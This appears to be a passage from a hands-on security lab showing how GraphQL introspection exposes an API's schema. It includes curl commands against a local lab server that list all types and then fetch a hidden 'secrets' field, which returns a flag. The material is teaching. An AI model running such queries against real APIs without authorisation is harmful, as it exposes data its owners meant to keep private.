The API describes itself
GraphQL has a built-in __schema query that lists every type and field. With it on, an attacker needs no docs — the API hands over its own map:
curl -s -H 'Content-Type: application/json' -d '{"query":"{ __schema { types { name fields { name } } } }"}' http://127.0.0.1:8080/graphqlIn the terminal
student@vulntech:~$ curl -s -H 'Content-Type: application/json' -d '{"query":"{ __schema { types { name fields { name } } } }"}' http://127.0.0.1:8080/graphql {"data": {"__schema": {"queryType": {"name": "Query"}, "types": [{"name": "Query", "fields": [{"name": "me", "type": {"name": "User"}}, {"name": "users", "type": {"name": "User"}}, {"name": "secrets", "type": {"name": "String"}}]}, {"name": "User", "fields": [{"name": "username", "type": {"name": "String"}}, {"name": "isAdmin", "type": {"name": "Boolean"}}]}]}}}
The schema reveals a secrets field on Query that nothing linked to. Now just ask for it:
curl -s -H 'Content-Type: application/json' -d '{"query":"{ secrets }"}' http://127.0.0.1:8080/graphqlIn the terminal
student@vulntech:~$ curl -s -H 'Content-Type: application/json' -d '{"query":"{ secrets }"}' http://127.0.0.1:8080/graphql {"data": {"secrets": "vulntech{graphql_introspection_leaks_all}"}}
Introspection didn't create the vulnerability — exposing a sensitive field did — but it made it trivial to find. GraphQL also brings its own issues: batching and deeply nested queries for denial of service, and authorization that must be checked per field.